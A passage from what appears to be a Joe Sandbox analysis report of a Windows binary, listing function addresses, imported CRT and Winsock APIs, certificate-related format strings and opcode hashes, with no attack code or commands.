Opcode ID: 74a58f8c083852693bf64881fee03805f566497237c963ec1128527847eabe63
Instruction ID: 11142ece27162bd7683660ebb405c79b84ef6f508be76c4447038f5bd159c3ef
Opcode Fuzzy Hash: 74a58f8c083852693bf64881fee03805f566497237c963ec1128527847eabe63
Instruction Fuzzy Hash: 1151E612A2D682C5FA7ABB21501037DAB91AF45790F880372DE9E0A3C5DF2DE407DB20

Function 00007FF747D7F716 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F723
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F90A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FA0B

Strings

%%%02x, xrefs: 00007FF747D7F8B3

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc$_strdup
String ID: %%%02x
API String ID: 1496848336-4020994737
Opcode ID: 11a0c1ad3791ab075d9d13a3d2058a3ec95cb1eb7b8996445b049866087062de
Instruction ID: 4715802d7aa5c72710d3814a72445f6941d4aa66ccefa55ffd4c57056c75f7d3
Opcode Fuzzy Hash: 11a0c1ad3791ab075d9d13a3d2058a3ec95cb1eb7b8996445b049866087062de
Instruction Fuzzy Hash: 6441D41292D692C5EA7ABB216014379AB91AF45790F880772DEDE0A3C5DF2DE407DB20

Function 00007FF747D7AFB0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 113networkCOMMON

Download Yara Rule

APIs

htons.WS2_32 ref: 00007FF747D7B01C
htons.WS2_32 ref: 00007FF747D7B032
send.WS2_32 ref: 00007FF747D7B0D8
WSAGetLastError.WS2_32 ref: 00007FF747D7B0EC
send.WS2_32 ref: 00007FF747D7B12E
WSAGetLastError.WS2_32 ref: 00007FF747D7B138

Strings

Sending data failed (%d), xrefs: 00007FF747D7B0F2, 00007FF747D7B13E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLasthtonssend
String ID: Sending data failed (%d)
API String ID: 2027122571-2319402659
Opcode ID: cdf648138e32f3fc23531406c7103014d14e0a80102c8f5fd913e13258011adc
Instruction ID: d38231474fc3f8698a4d22503517f223c8b06e3644ba48f478478c9748dcaaba
Opcode Fuzzy Hash: cdf648138e32f3fc23531406c7103014d14e0a80102c8f5fd913e13258011adc
Instruction Fuzzy Hash: F141BC32618A86C1E7047F75D510AACB720FB56F89F844A32DB9907798DF7CE00AC721

Function 00007FF747D87FCE Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 82COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D87FD8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D884D2

Part of subcall function 00007FF747D50B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D50BA2

Strings

Expire Date: %s, xrefs: 00007FF747D883F7
Public Key Algorithm, xrefs: 00007FF747D88488
Public Key Algorithm: %s, xrefs: 00007FF747D884A2
Expire Date, xrefs: 00007FF747D883DD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: Expire Date: %s$ Public Key Algorithm: %s$Expire Date$Public Key Algorithm
API String ID: 111713529-2901970132
Opcode ID: ca63b734f412c840d6899bd84df25f9a28c05b6b7bdbaacd8ec7812dce174e8f
Instruction ID: 2505068b460d82ddc3c526df403436757686ffcbe3474c1e67551ad7975320ac
Opcode Fuzzy Hash: ca63b734f412c840d6899bd84df25f9a28c05b6b7bdbaacd8ec7812dce174e8f
Instruction Fuzzy Hash: 39318661A2C782C5EB14BB6195041F9A7A1BF057C8FC50A35DE5E1B799EF3CE106CB20

Function 00007FF747D8747E Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D87481
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D87933

Part of subcall function 00007FF747D50B50: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D50BA2

Strings

Serial Number: %s, xrefs: 00007FF747D8787C
Serial Number, xrefs: 00007FF747D87862
Signature Algorithm, xrefs: 00007FF747D87907
Signature Algorithm: %s, xrefs: 00007FF747D87921

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: Serial Number: %s$ Signature Algorithm: %s$Serial Number$Signature Algorithm
API String ID: 111713529-517259162
Opcode ID: 848f9bd136f30b638347715e6b3aa5fb2b1dd1155d484af4729bc6df23dfb9d6
Instruction ID: 7a6b21ee066e4cc141732fa4371ea342003a619332daccb2d30761e196b07003
Opcode Fuzzy Hash: 848f9bd136f30b638347715e6b3aa5fb2b1dd1155d484af4729bc6df23dfb9d6
Instruction Fuzzy Hash: DB319451E2D782C5EB14BB6195041F9A7A5BF05BC8FC50635CE5E1B39AEE3CE102CB20

Function 00007FF747D880CD Relevance: 12.2, APIs: 2, Strings: 6, Instructions: 173COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D884D2

Strings

Expire Date: %s, xrefs: 00007FF747D883F7
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF747D88201
GMT, xrefs: 00007FF747D8818E
Public Key Algorithm, xrefs: 00007FF747D88488
Public Key Algorithm: %s, xrefs: 00007FF747D884A2
Expire Date, xrefs: 00007FF747D883DD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Expire Date: %s$ Public Key Algorithm: %s$ GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$Expire Date$Public Key Algorithm
API String ID: 1294909896-3805148269
Opcode ID: 6bc4953928094462d9ddc4680efa67f630c3a844b9dad982d79f32fd4d5d8a3e
Instruction ID: b5dc1d5e8ee31f25d4e65011421c4ff8e1f1e0e15aefafc82bb17dc64579a257
Opcode Fuzzy Hash: 6bc4953928094462d9ddc4680efa67f630c3a844b9dad982d79f32fd4d5d8a3e
Instruction Fuzzy Hash: 7071AFA1A3C782C4EB14BB6499041F9A7A1FB057C4FC64635CA9D1B799DF3CE146CB20

Function 00007FF747D8756D Relevance: 12.2, APIs: 2, Strings: 6, Instructions: 165COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D87933

Strings

Serial Number: %s, xrefs: 00007FF747D8787C
Serial Number, xrefs: 00007FF747D87862
%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s, xrefs: 00007FF747D87691
GMT, xrefs: 00007FF747D8761E
Signature Algorithm, xrefs: 00007FF747D87907
Signature Algorithm: %s, xrefs: 00007FF747D87921

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$ GMT$%.4s-%.2s-%.2s %.2s:%.2s:%c%c%s%.*s%s%.*s$Serial Number$Signature Algorithm
API String ID: 1294909896-599393795
Opcode ID: 2f203b4647518da1f2e7f5e41acfa6be74a516219f63d053806ad01f872eec19
Instruction ID: 8ddca2875843125171f7113d980b51e3f3921c2b54cfeeedbf890932d806bb2f
Opcode Fuzzy Hash: 2f203b4647518da1f2e7f5e41acfa6be74a516219f63d053806ad01f872eec19
Instruction Fuzzy Hash: 0661F2A1A2C782C4EB14BB6695041B9EBA8FB057D4FC64631CA5D0B798DF3CE143CB20

Function 00007FF747D88865 Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D888A8
memcpy.VCRUNTIME140 ref: 00007FF747D888CE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D889A2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A5C

Strings

Signature, xrefs: 00007FF747D889DF
Signature: %s, xrefs: 00007FF747D889F7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc$memcpy
String ID: Signature: %s$Signature
API String ID: 901724546-1663925961
Opcode ID: 9e4491614718e25cc1eab2119404d1c2449d3d8cad68613c048e147f197bde4b
Instruction ID: 03b9e2204d60030d1d8ebaf6506ddbead137e7d1234488bd8535783e9a2220d9
Opcode Fuzzy Hash: 9e4491614718e25cc1eab2119404d1c2449d3d8cad68613c048e147f197bde4b
Instruction Fuzzy Hash: A1513612A2C6C2C6EF18B71594143B9A7A1FF45BD4F850335CA6F077D5EE2CE0468B21

Function 00007FF747D88004 Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 130COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D884D2

Strings

Expire Date: %s, xrefs: 00007FF747D883F7
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF747D880B9
Public Key Algorithm, xrefs: 00007FF747D88488
Public Key Algorithm: %s, xrefs: 00007FF747D884A2
GMT, xrefs: 00007FF747D88066
Expire Date, xrefs: 00007FF747D883DD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Expire Date: %s$ Public Key Algorithm: %s$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$Expire Date$GMT$Public Key Algorithm
API String ID: 1294909896-1642401773
Opcode ID: c20ed9e9c4c1ecd284888910d56604651b787efe85db17391b1f6a76b1734e99
Instruction ID: e7ec372f94d6dc0035a3261b3e9153fd91a70e14fa6b07f961e5eddcb1c87ed4
Opcode Fuzzy Hash: c20ed9e9c4c1ecd284888910d56604651b787efe85db17391b1f6a76b1734e99
Instruction Fuzzy Hash: B3516061A2C782D5EB14BB60D4001F9A7A1FB05BC8FC94631DA5E1B799DF3CE546CB20

Function 00007FF747D4F7B0 Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4F7F6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4F822
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4F84E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdup
String ID:
API String ID: 1169197092-0
Opcode ID: 6357a9bd726c514b9537bb7ab30b8792c16bcd5251ca2c88349b3d87cfd3c4aa
Instruction ID: 3e379e7376c22cda50743a6345bd9508b5a19940a51806afc002fae5f3acae69
Opcode Fuzzy Hash: 6357a9bd726c514b9537bb7ab30b8792c16bcd5251ca2c88349b3d87cfd3c4aa
Instruction Fuzzy Hash: D5515026A2EB81C1EB59EF55F040128B7A4FB48B8474C1275DF4D17B58EF28E4A2CB14

Function 00007FF747D874A7 Relevance: 12.1, APIs: 2, Strings: 6, Instructions: 123COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8788E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D87933

Strings

Serial Number: %s, xrefs: 00007FF747D8787C
Serial Number, xrefs: 00007FF747D87862
%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s, xrefs: 00007FF747D87559
Signature Algorithm, xrefs: 00007FF747D87907
GMT, xrefs: 00007FF747D87506
Signature Algorithm: %s, xrefs: 00007FF747D87921

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: Serial Number: %s$ Signature Algorithm: %s$%u%.2s-%.2s-%.2s %.2s:%.2s:%.2s %.*s$GMT$Serial Number$Signature Algorithm
API String ID: 1294909896-3876350232
Opcode ID: 03dff17ac0cd915ebebac05d076bcb7c51ce859e12afd2d7d7880ca572dcb3ce
Instruction ID: 021703511ef73e20e5d3e330fa05d14d981e581c4f71e2de2589af29eec52a14
Opcode Fuzzy Hash: 03dff17ac0cd915ebebac05d076bcb7c51ce859e12afd2d7d7880ca572dcb3ce
Instruction Fuzzy Hash: 4251B261A2C782C4EB14BB65D4001F9EB65FB05B98FC90631CA5E1B399DF3CE646CB20

Function 00007FF747D88264 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8829F
memcpy.VCRUNTIME140 ref: 00007FF747D882C5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88409
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D884D2

Strings

Expire Date: %s, xrefs: 00007FF747D883F7
Public Key Algorithm, xrefs: 00007FF747D88488
Public Key Algorithm: %s, xrefs: 00007FF747D884A2
Expire Date, xrefs: 00007FF747D883DD

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy
String ID: Expire Date: %s$ Public Key Algorithm: %s$Expire Date$Public Key Algorithm
API String ID: 3401966785-2901970132
Opcode ID: 9cfc241ff50fa9f1d546cf1a4f6eb5ae5dff09977d4f1df51ff9215a3f6f9d9a
Instruction ID: 91bce44b187d1828481e363ce11f57c04317705b9429bb7824a26e3938c9e2fb
Opcode Fuzzy Hash: 9cfc241ff50fa9f1d546cf1a4f6eb5ae5dff09977d4f1df51ff9215a3f6f9d9a
Instruction Fuzzy Hash: F241B461A2C782C5EB15BB6195041F9A7A1BF05BC8F894A31CE5E1B799EE3CE1068720

Function 00007FF747D760C6 Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D760ED
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D761A5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D761B1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D761E8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7625C

Strings

Entry path is '%s', xrefs: 00007FF747D761BE, 00007FF747D761F5
SYST, xrefs: 00007FF747D76186
Failed to figure out path, xrefs: 00007FF747D76262

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: Entry path is '%s'$Failed to figure out path$SYST
API String ID: 2190258309-1780565354
Opcode ID: 3f5d1b0395fc86ec87808a220fdd74a165c91be78bb230dcae632f790c8615ad
Instruction ID: 43ea433b696e60c56026ac4fba8f81625831e50bf210fe3549be0717205546a6
Opcode Fuzzy Hash: 3f5d1b0395fc86ec87808a220fdd74a165c91be78bb230dcae632f790c8615ad
Instruction Fuzzy Hash: FE419761A2C782C1EB65BB25E8443B8A7A0FB45788F944531CE9D17796EE3CD447CB20

Function 00007FF747D6D240 Relevance: 11.3, APIs: 9, Instructions: 89COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6D30C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6D31A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6D328
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6D336
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6D344
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6D352
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6D360
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6D36E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6D37C

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f9c98c4728642ed9e1a96ad5c64d8c7b5bcb162c8dc94b6f4a0ea47b6ce93bc3
Instruction ID: 46805035ef969f4f29a1095bd06fa3f1464fa1d5381c5f29a42e0ef7ead93ff7
Opcode Fuzzy Hash: f9c98c4728642ed9e1a96ad5c64d8c7b5bcb162c8dc94b6f4a0ea47b6ce93bc3
Instruction Fuzzy Hash: 8C41447291CB42C2EB61BF21E44027973A4FB49F94F948635DA8E53758CF38D852DB60

Function 00007FF747D4A180 Relevance: 11.3, APIs: 9, Instructions: 68COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A1FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A204
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A20E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A218
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A222
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A22C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A236
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A240
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A249

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ba3c6830358e7528ed72be0c954360400be3cdaf49af343b8df36180f5656063
Instruction ID: 51e45f52832f347dce2c38bde86a80650d6dda2465a361498f4f782711e8c84d
Opcode Fuzzy Hash: ba3c6830358e7528ed72be0c954360400be3cdaf49af343b8df36180f5656063
Instruction Fuzzy Hash: 3531FA3665CA51C6E720BF51E844229A774FB88FC4F580631DE9D17B58CE3DD442DB24

Function 00007FF747D4A0A0 Relevance: 11.3, APIs: 9, Instructions: 52COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A0E7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A0F1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A0FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A105
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A10F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A119
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A123
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A12D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4A136

Memory Dump Source

